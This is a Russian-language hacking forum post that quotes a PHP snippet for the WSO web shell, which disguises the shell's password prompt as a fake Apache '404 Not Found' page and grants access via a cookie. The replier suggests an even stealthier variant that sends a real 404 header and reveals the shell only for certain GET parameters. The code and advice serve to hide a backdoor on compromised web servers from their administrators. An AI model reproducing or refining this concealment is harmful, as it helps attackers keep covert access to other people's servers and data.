Показать сообщение отдельно

  #442  
Старый 20.07.2015, 15:04
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами: 9721141

Репутация: 1013
По умолчанию

Цитата:
Сообщение от grimnir  

усвершенствованая функция скрытия
Жмем на 80 ,появляется окно ввода пароля

код
Код:
function wsoLogin() {
                die("
404 Not Found

Not Found
The requested URL index.php was not found on this server.

Apache/2.2.22 (Linux) Server at Port 80
Password: >'>");
            }
            function WSOsetcookie($k, $v) {
                $_COOKIE[$k] = $v;
                setcookie($k, $v);
            }
            if (!empty($auth_pass)) {
                if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
                if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
            }
как по мне, не самый лучший вариант, т. к. вариантов 404 может быть масса. лучше отдавать хедером 404 ошибку, но при каких-либо параметрах в GET отдавать уже веб-шелл
 
Ответить с цитированием